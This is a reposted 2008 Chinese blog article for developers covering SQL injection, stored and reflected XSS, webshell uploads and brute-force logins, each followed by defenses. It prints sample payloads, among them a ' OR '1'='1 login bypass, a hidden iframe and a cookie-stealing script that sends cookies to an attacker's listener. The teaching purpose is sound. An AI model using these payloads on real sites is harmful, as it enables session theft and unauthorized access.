BS程序代碼與安全與基本攻擊/防御模式

BearOcean 2008-06-02

1.??? 引言

1.1.???? 文檔說明:

1.2.???? 文檔組織方式:

2.??? 正文

2.1.???? SQL注入

2.1.1.????? 攻擊模式:

2.1.2.????? 防御辦法:

2.2.???? 腳本注入

2.2.1.????? 攻擊模式

2.2.2.????? 防御方式

2.3.???? 跨站攻擊

2.3.1.????? 攻擊模式

2.3.2.????? 防御方式

2.4.???? shell 上傳

2.4.1.????? 攻擊模式

2.4.2.????? 防御方式

2.5.???? 爆破

2.5.1.????? 攻擊模式

2.5.2.????? 防御方式

3.??? 結語

?

?

?

1.???????? 引言

1.1.??????? 文檔說明:

該文檔主要闡述在BS程序中，安全性方面的注意事項。常見的主要攻擊模式，以及為了防御這些不同的攻擊手段，作為技術人員建議注意的編碼事項。

該文檔包含的內容主要是個人對于Internet 安全性問題的理解。以及對這些問題進行規避的方法整理，難免有誤，也歡迎大家進行指正和補充。

另注: 該文檔出現的編碼均為偽代碼。

1.2.??????? 文檔組織方式:

該文檔主要按照攻擊模式進行分類整理，每個攻擊模式的小專題分2部分內容:

(1) 攻擊模式詳述

(2) 防御方式與建議

對于攻擊模式詳述部分，盡可能多的舉出案例來進行說明，已方便理解。而防御方式，實際上通常只有在對攻擊模式理解的前提下，才可能真正確保防御的有效。

2.???????? 正文

2.1.??????? SQL注入

2.1.1.?????? 攻擊模式:

SQL 注入的成因主要是因為向DB提供的SQL 是用字符串拼裝的方式生成的。

最經常遭受SQL注入的頁面通常是管理員/用戶登陸點。不論是asp 或是jsp，如果不正確的編碼，都會出現這個漏洞。

下面以一個實例來闡述SQL注入的成因。

假設我們有一個JSP 頁面login.jsp，用于搜集管理員輸入的用戶名和密碼。用戶點擊按鈕，將會把收集到的用戶名與密碼提交到指定的控制組件(Struts:Action,或者Servlet).在該組件中調用chekLogin(String userName, String passWord) 進行登陸驗證，以從頁面收集到的用戶名和密碼信息拼裝出SQL 字符串，供DAO 下層使用，以從數據庫中的管理員記錄表中讀取數據，如果從表中找到匹配的記錄，則表示驗證成功，我們將返回相應得管理員實體類。否則返回Null 表示登陸驗證失敗。

這是一個非常簡單的邏輯模塊，如下圖所示:

這個邏輯產生注入漏洞的關鍵在于checkAdminLogin方法。因為在該方法中，我們以這種方式進行編碼:
public Admin checkAdminLogin(String userName, String password){

//拼裝SQL字符串
String strSQL =”SELECT * FROM TD_ADMIN AS A WHERE A.USERNAME=’”+userName +”’ AND A.PASSWORD=’”+password+”’”;

//后續通過DAO 提交該SQL到數據庫獲得查詢結果，省略

這個生成SQL 的方式，記得剛接觸數據庫編程的時候，有很多書籍的范例代碼也是這樣書寫的，咋一看沒有什么問題，但是由于沒有對可能的輸入作一個全面的考慮，所以便產生了注入漏洞。如果有人試圖在這里進行惡意攻擊，那么他可以在登陸名輸入框中輸入 123 (其實其他的任意值也可) 而在密碼輸入框中輸入 ‘ OR ‘1’=’1

那么由于我們的SQL是靠拼出來的，所以最終提交給數據庫的將是:
SELECT * FROM TD_ADMIN AS A WHERE A.USERNAME=’123’ AND A.PASSWORD=’’ OR ‘1’=’1’

很顯然，這句SQL 由于后面被加上了永真條件，登陸是一定成功的。那么不論登陸者是否是管理員，輸入 ‘ OR ‘1’=’1 ，他都將能夠登陸系統。

更有甚者，我可以在輸入框中輸入數據庫的SQL注釋符，然后填寫我想讓數據庫執行的操作例如DROP SOMETABLE 一類的。所以注入漏洞的危害實際是非常大的。

SQL 注入漏洞的根本原因是，由于我們編碼時的不小心，導致用戶可以通過輸入來改變要執行的邏輯，甚至輸入新的邏輯。但是，越是嚴重和顯而易見的代碼安全問題，實際要修補卻也是越容易的。

2.1.2.?????? 防御辦法:

A: 加上驗證(或者字符過濾)

在網上搜索關于對SQL 注入的防護問題，有很多答案提供的是對輸入字符串進行驗證/或者是過濾，甚至有人提供了字符串過濾代碼。這種方案指出:?SQL 注入的成因是攻擊者在輸入框中輸入了有特殊意義的字符，如單引號，或者是數據庫特定的注釋符號，或者是執行分隔符的分號。

那么我們在控制層進行驗證，禁止用戶輸入這些符號，或者將這些符號進行轉義是否可以杜絕SQL注入?

表面上看似乎是可以的，因為在控制層中，用戶如果試圖輸入 ‘ OR ‘1’=’1 將得到類似”不允許輸入單引號”的提示從而系統拒絕了本次執行。

但是，這樣的防御方案有非常大的缺陷:

第一: 輸入驗證應該與具體的邏輯掛鉤，而不應該與安全防護中的防注入產生過密的依賴。用戶名和密碼的輸入驗證和新聞內容的輸入驗證是不同的。例如，對于新聞的按內容搜索又應該允許輸入單引號，因為新聞內容本身是允許包含單引號的。所以輸入驗證不能從根本上解決問題。一個疏忽帶來的結果將是滿盤皆輸。

第二: 提出這種解決方案實際上是沒有真正的理解SQL注入，SQL注入的問題并不是出在不合法字符的問題上。這只是表象，SQL注入的真正原因是系統沒有辦法嚴格地控制程序邏輯與輸入參數之間的分離，系統存在漏洞讓系統是用者有地方可以把自己的輸入(本應該是參數)變成了程序邏輯的一部分。

B: 控制與參數分離

試想我們給用戶提供一個接口，這個接口帶一個參數，用戶填寫這個的這個參數將決定下面的代碼執行序列。那么用戶可以通過這個接口來命令系統做任何事情。其實SQL注入就是這個原因。

產生這個問題的最根本的原因是，系統應該有能力明確的劃分什么是邏輯，什么是參數。

所以解決SQL注入的最根本辦法是使用Template 模式。

如下圖所示:

那么用戶的輸入會作為Business Object 的參數存在。但是不管用戶輸入什么。都無法脫離程序員設置的Templete (邏輯模板)。最后 Templete + Parameters 將決定程序具體的執行。

Java 中對該模式的實現有PreparedStatment或者NamingQuery一類的技術。詳細內容可以參見相關文檔。由于他們實現了參數與邏輯的分離，所以將從根本上杜絕SQL注入。

使用PreparedStatement還有其他好處，除了安全方面的考慮，由于數據庫的編譯特性，在性能上也有所提高。

2.2.??????? 腳本注入

2.2.1.?????? 攻擊模式

這里所說的腳本，通常所指的是JavaScript腳本，雖然JavaScript運行于客戶端，并且有安全沙箱的保護，但是放任惡意JavaScript腳本是十分危險的。

腳本注入也是一種技術含量低的攻擊方式。需要攻擊者熟悉JavaScript腳本和Dom模型，如果會運用Ajax 技術，更是如虎添翼。如果你了解這兩項技術，便可以在網上搜索你的目標。

一個網站，如果對輸入未做合理的驗證或過濾，在顯示輸出的時候又未做合適的格式化，那么便存在這種漏洞。下面舉一個實例:

我們有一個新聞站點。每個新聞允許瀏覽者進行評論，瀏覽者提交的評論將被存儲在數據據庫專門的表中，并且將被顯示在新聞的下邊。

這個邏輯很正常，沒有什么問題。但是很可惜的是開發者除了字符長度沒有在后端做任何輸入合法驗證。那么這個站點的評論輸入，必然給壞蛋們有機可乘。

假設我們在評論中輸入如下內容:

<script language=”javascript”>alert(“哈哈，傻了吧，這個地方存在腳本注入漏洞.”);</script>

那么，這句話將被存儲在數據庫評論表中。以后，每一個瀏覽者打開這個新聞頁面是，都將會彈出這樣一個消息框。攻擊者很仁慈，沒有做過多的破壞。

但是如果輸入:

<script language=”javascript”>window.location.href=”www.baidu.com”;</script>

那么打開這個新聞頁面，該頁面將被從定向到baidu的頁面上。

如果目標頁面不是baidu. 而是一個有惡意代碼的頁面。那么每個瀏覽者的機器都可能中毒。

注入上述腳本的攻擊者不夠聰明或者只是想好心的提示。因為他們注入的東西太容易被人發覺。

我們有別的方式把活干的隱蔽，畢竟開發者和維護人員都不可能對評論一條一條得進行檢查。

我們注入:

好文! 頂

<iframe src=”帶病毒的頁面” width=”0” height=”0”></iframe>

那么在新聞頁面上，將看不到任何異狀。但是瀏覽器其實可能正在悄悄得下載病毒。

WEB2.0的流行使頁面效果更加絢麗，同時也使腳本注入的攻擊力提高不少。

曾經了解這樣一種攻擊模式:

攻擊者在幕后準備了服務器去接受Ajax提交的請求。攻擊者通常有自己的服務器(通常是肉雞), 在上面部署了合適的代碼。

在目標站點，存在注入點的頁面注入如下代碼:

我也來頂!

<script language=”javascript”>
var strTargetMessage =window.cockie;

AjaxSend(“黑客掌握的服務器監聽點”, strTargetMessage);
</javascript>

很簡單的代碼，而且極難被發覺。

但是這樣，每個登錄者在訪問這個頁面的時候，其cockie信息都將被發送給攻擊者。

掌握了cockie中存放的JSESSIONID, 那么攻擊者便可以冒充該登錄者來做想做的事情，比如說轉帳(但一般銀行有SSL 授權的密鑰).

不管怎么樣，很危險了。

2.2.2.?????? 防御方式

提供合理的過濾或者轉換程序，在輸入存放于數據庫前，或者是顯示在頁面前對數據進行處理。盡一切可能，避免用戶的輸入有執行的可能。

具體代碼，因不同的后端語言不同，但是項目提供有效，統一的過濾處理方式是合理的。

該攻擊方法成立的原因是，瀏覽器在對頁面進行解析時，不可能區分哪一段是客戶輸入，哪一段是預編制的模板或Html或腳本。

有人曾經提出，確保評論內容出現在<pre></pre>中可以避免這個問題。

如:
<pre><%= 評論內容 %></pre>

那么評論內容將得到原樣顯示，并不會執行其中的腳本。

但是這樣的解決方案是不正確的。

因為我只需要對注入稍加改動:

</pre>
<script language=”javascript”>
var strTargetMessage =window.cockie;

AjaxSend(“黑客掌握的服務器監聽點”, strTargetMessage);
</javascript>

<pre>

那么實際上注入腳本將<pre>塊閉合了，腳本仍然會得到執行。

2.3.??????? 跨站攻擊

2.3.1.?????? 攻擊模式

跨站攻擊和腳本注入非常相似。有很多資料并沒有區分這兩種攻擊。

實際上，我認為跨站和腳本注入最大的區別在于用戶提交的非法腳本是否需要持久化到服務器。通常，用于腳本注的惡意腳本提交后，將存儲在服務器數據庫中。這導致每個訪問問題頁面的瀏覽者都將遭到惡意腳本的攻擊。而跨站攻擊多數情況是將惡意腳本構造于url參數中。通過欺騙的方式去誘使受害者點擊鏈接。而使得惡意腳本執行。

雖然，不像腳本注入，跨站攻擊必須要誘使受害者點擊鏈接才能得以執行。但是一旦成立，其危害將和腳本注入的危害一樣大。

并且，跨站攻擊的最大問題在于漏洞難于查找，特別容易被忽略。

因為人們通常記得在用戶輸入評論的地方加上過濾來避免注入，但是防護跨站漏洞，卻要保證在每個處理url參數的頁面中都要對傳入的參數進行合法性驗證。由于程序員的疏忽或者懶惰，往往無法做到 “每個”, 所以即使是知名的大型網站也頻頻出現跨站漏洞。

下面給出一個實例來說明跨站漏洞。

一年前，我的朋友曾經給了我一個工行網絡銀行的地址(http://www.icbc.com.cn/news/hotspot.jsp?column=%CD%A8%BC%A9%3A+%D0%DC%BA%A3%CD%AC%D1%A7%D3%DA2007.5.1%C8%D5%D5%A9%C6%AD%B9%A4%C9%CC%D2%F8%D0%D0500%CD%F2%CF%D6%BD%F0%A3%AC%CF%D6%D4%DA%C7%B1%CC%D3%D6%D0%A3%AC%D3%D0%D7%A5%BB%F1%D5%DF%BD%B1%C0%F8%C8%CB%C3%F1%B1%D250%CD%F2%D5%FB (上面這些類似亂碼的編碼實際上是“通緝: BearOcean同學于2007.5.1日詐騙工商銀行500萬現金，現在潛逃中，有抓獲者獎勵人民幣50萬整”字符串的urlEncoding成果物,后來工行把這個漏洞堵上了.)

當我點開頁面進行瀏覽的時候，發現上面顯示的是一則公告:

?? “通緝: BearOcean同學于2007.5.1日詐騙工商銀行500萬現金，現在潛逃中，有抓獲者獎勵人民幣50萬整”

很顯然這是一個玩笑(我的同學沒有攻擊意圖，只是利用這個開了個玩笑)，但是讓我驚訝的是即使是工行也能出現這樣的問題。我們現在來分析出現這個問題的原因，以及它可能帶來的危害。

工行的hotspot.jsp可以理解成一個專用于顯示一些簡短信息的頁面。

他接受url中的一個參數column并把它顯示出來。

這樣的頁面很常見也很有用，例如我們在注冊成功，評論新聞成功的時候，都希望有一個風格統一的頁面來顯示操作結果。如果為每一個有這種需求的地方單獨開發不同的頁面，一來工作量大，二來重用性差，所以我們用一個頁面來完成這種事情。這個頁面顯示的是什么取決于輸入的參數。請看下圖:

hotspot 是傻子，無法智能到判定輸入的column來自于友方模塊還是來自于我的同學。總之，來者不拒。直接將column不加區分的顯示在hotspot上。

令人好奇的是，該漏洞只是讓大家開開玩笑，輸出一些好玩的東西，那么其實這個漏洞會不會也無傷大雅，沒有什么危害性。我強調過，我的同學不是惡意的攻擊者，敏感的人能夠猜測:如果輸入的不是用于開玩笑的字符串，而是惡意的腳本，那將如何？

跨站攻擊的危害和腳本注入是一樣的。惡意腳本得以執行，一樣可用于盜取coockie. 或以高級別權限用戶執行危害更嚴重的木馬上傳操作，或者幫助瀏覽者在自己的機器上種上病毒。與SQL注入不同，腳本注入和跨站都沒有直接攻擊服務端，實際上是攻擊了客戶端。但是，上述2種漏洞通常會成為有經驗的黑客攻擊服務器的最喜愛跳板。

2.3.2.?????? 防御方式

問題的原因已經分析清楚，存在跨站漏洞的頁面或模塊通常未對傳入的url參數進行處理，或者確定傳入來源是可靠的。

最主要的防御方式與腳本注入的防御方式相同。

在類似于的hotspot頁面中，程序員對輸入的colum進行過濾，并免任何腳本執行的機會就可以保護站點免受跨站漏洞的攻擊。

2.4.??????? shell 上傳

2.4.1.?????? 攻擊模式

shell上傳是攻擊BS程序最可怕的一招。

中招的站點，完全被破壞是一點也不意外的。因為shell, 通常都有能力幫助攻擊者拿到系統管理員的權限。繞開站點的權限限制，直接攻擊操作系統和DBA, 作為攻防戰的防守方，搞成這種局面，只能用完全失敗來形容了。

要理解通過shell上傳來攻擊服務器的方式，需要理解shell是什么。

Shell 通常是一種用特定語言編寫的程序，攻擊服務器的時候，由于通常要實現遠程編譯比較復雜，所以這種木馬類型的文件一般都用解釋型語言編寫(或者有解釋語言特點).

具體語言的選擇，依賴于目標站點的開發語言。攻擊ASP 站點的shell 用ASP 編寫，攻擊PHP 站點的shell用PHP編寫，攻擊J2EE的站點Shell 可用Jsp來編寫。

Shell 通常都是基于命令的，它通常能接受攻擊者的參數。然后以功能劃分模塊進行運行。

常見的命令如: 列表文件，刪除文件，創建文件，修改文件，新建系統帳號，訪問操作系統功能。通過使用這些功能。攻擊者將能夠控制shell 宿主服務器，所以站點乃至整個系統被shell 黑破是很好理解的。設想一個攻擊者通過shell新建一個操作系統管理員，其實就可以拋棄shell了。(需要說明的是，webshell通常功能較弱，但是webshell可以支持更強木馬的上傳和執行。) 通過遠程控制客戶端，便可對服務器為所欲為。

請看下圖:

攻擊者通過shell木馬，去取得其他關鍵權限，轉而對整個系統實施攻擊。

很奇怪，明明我的服務器內只部署了我自己開發的頁面文件和程序模塊。攻擊者是怎樣把木馬傳上來的呢。

一般來說有如下方式:

(1)??? FTP: 服務器開啟了FTP 服務，并且使用允許匿名或者弱帳號機制，FTP 直接指向Web虛擬路徑，很多人通過這種方式來管理/維護站點。固然方便，但是攻擊者通過端口掃描可以很容易的找到服務器的FTP服務，攻擊FTP進而上傳shell木馬。但是這種攻擊方式以及其他利用服務/操作系統/web容器漏洞的服務均與開發的直接關系不大，主要責任系維護方面，所以在這里不詳細敘述。

(2)??? 上傳組件: 很多站點，由于功能要求，提供文件上傳功能。這個功能，攻擊者通常都會非常注意。如果上傳組建的編寫有問題。那么攻擊者就能很方便的上傳shell. 因為和開發關系較大，所以主要敘述的是這種上傳方式。

方式(2) 中所涉及的上傳組建通常是一些上傳功能需求引入的。例如用戶可以自定義自已的圖片或者是上傳商品圖片，或者是允許上傳一些其他文件供瀏覽者下載。這些上傳功能也頻繁出現在后臺管理中。

2.4.2.?????? 防御方式

關于shell的防御通常有如下一些事項需要注意:

(1)??? Web 容器正確的安全設置:

如果系統有上傳的功能，那么上傳的文件一般都存放在固定的一個或者幾個文件夾中。

最需要確保的是，不管上傳了什么，我們都需要保證服務器認為這些文件是數據，而不會誤以為是程序模塊而使木馬得到執行的機會。通常web服務器都有相關的安全設置。禁用這幾個文件夾中的文件解釋/執行權限是必要的，這樣即使木馬上傳成功也無法解析。在系統上線前需要對web配置進行正確的配置這是一點。

總的來說，不管是利用OS 漏洞或者是FTP 或者是配置。Linux 的安全性相對于Windows較高。目前最多的shell馬一般是基于ASP的。

(2)??? 自己編寫上傳組件需要嚴格的驗證:

很多時候我們會使用自己開發的上傳功能和組件。

編寫的時候需要對上傳的文件進行驗證而不能夠不加驗證便進行保存。

通常驗證的項目包括文件大小和文件后綴(文件類型)，如僅允許jpeg, jpg, gif 圖片格式文件上傳。這是作為開發方需要注意的事項，但是不結合第一點來防護仍然不安全。目前有許多jpg, gif shell木馬，后綴名使用圖片格式能夠跳過驗證，但是攻擊者可以利用其他的漏洞使木馬得以執行。

另外，通常后臺功能有修改允許上傳文件類型的功能。如果攻擊者通過其他手段(如注入或者社會工程學) 成功得到了后臺登陸權限，那么他仍然能夠上傳木馬。

所以(2) +(1) 才能使得防護真正的起到作用。另外一點需要注意的是，對文件的驗證一定要在服務器端進行。前端的javascript驗證在安全性上將不起作用。

(3)??? 利用已開發的第三方組件:

有很多人開發出了好用的第三方控件，如一些富文本編輯控件直接允許文件/圖片的上傳(如FCKEditor) 這些控件有很多在功能上做的很好，但往往由于開發者安全方面考慮的不多，會存在漏洞，在使用第三方組件的時候可以對組件是否存在漏洞進行調查。必要的時候可進行代碼修改以進行安全加強。

比較出名的是，曾經有一個很著名的asp 后臺文件管理模塊。出現了非常明顯的shell上傳點。但是使用的人仍然趨之若鶩。攻擊者們通常發現站點使用該組件的時候。第一反應就是:開心地笑了。甚至有人開發了專門針對該模塊的攻擊/上傳程序。

2.5.??????? 爆破

2.5.1.?????? 攻擊模式

爆破和上述的攻擊方式一樣，均是很古老的攻擊手段了。它是很暴力很笨的攻擊方式。不過使用得到也具有一定的威脅。

爆破的模式很簡單，一般情況如下圖所示:

爆破方式來獲取帳號，通常在攻擊端需要部署攻擊器和字典程序。

攻擊器負責向特定登陸模塊發送登陸請求，字典程序負責按照人們的輸入習慣對于待輸入嘗試進行排序。結合起來，可以在一定時間將系統中的賬號試出來。具體時間依據密碼賬號強度來定。簡單的密碼如 admin 123 可能在一分鐘內被試探出來。而強賬號可能要一年。

2.5.2.?????? 防御方式

總的來說，防暴有如下幾種方式:

(1)??? 使用驗證碼:

這是一個很成熟的方式，也較為行之有效。具體方式是在登陸的時候，除了要求登陸者輸入用戶名與密碼以外，還要求輸入者辨識一個不怎么清晰的圖片，并輸入圖片中顯示的字符，以作為這次輸入并非出自自動程序的憑證。

要破除這種方式的登陸端并進行爆破，對于攻擊端有更高的要求。需要首先對驗證圖片進行模式匹配以提取其中隱含的字符串。不過模糊匹配是比較復雜的技術。具體的應用包括音頻匹配，指紋系統，人臉識別，圖片處理等方向，涉及較強的數理基礎。一般攻擊者都不會動用這種技術，目前模糊匹配仍沒有達到成熟。模糊匹配不能很有效的原因也是計算機無法真正意義上模擬生物智能的重要障礙之一。相關方向有很多課題無解。如果感興趣可以單獨研究。

(2)??? 阻塞同一IP同一時間多次連續對登陸的驗證請求

該方法在后端程序中加上一個時間連續驗證。禁止同一IP 同一時間內多次請求。例如可以設置同一IP 上次驗證距這次驗證間隔時間必須大于0.2秒。通過這種方式來降低攻擊程序的性能。

不過這種方式除了性能上的弱點，還有一個弱點在于: 網絡環境中，如果有大量用戶共用一個IP, 所以有可能在高并發的情況下拒絕正常請求。

?

3.???????? 結語

關于站點程序安全，還有很多攻擊和防御的方式。

開發過程中，代碼上的防御最好形成統一的，類似于AOP 的安全服務層。對安全過濾，效驗，防暴等攻擊手段提供統一的服務和保護。由于編碼習慣引入的漏洞，可以制定相關的規范，對形如SQL 注入的避免。

同時，運營方面，需要密切地注意OS , 數據庫，網絡環境存在的不安因素。

部署方面，對于配置充分考量安全方面的強化。

本文當沒有涉及具體的編碼技術和配置方案，因為完成這些詳述，篇幅會變得無法控制。

本文當主要在基本的安全事項，攻擊模式上面做出闡述。拋磚引玉。

????????????????????????????????????????????????????????? BearOcean 2008-06-02

轉載于:https://www.cnblogs.com/BearOcean/archive/2008/06/02/1212031.html

總結

以上是生活随笔為你收集整理的BS程序代码与安全与基本攻击/防御模式的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。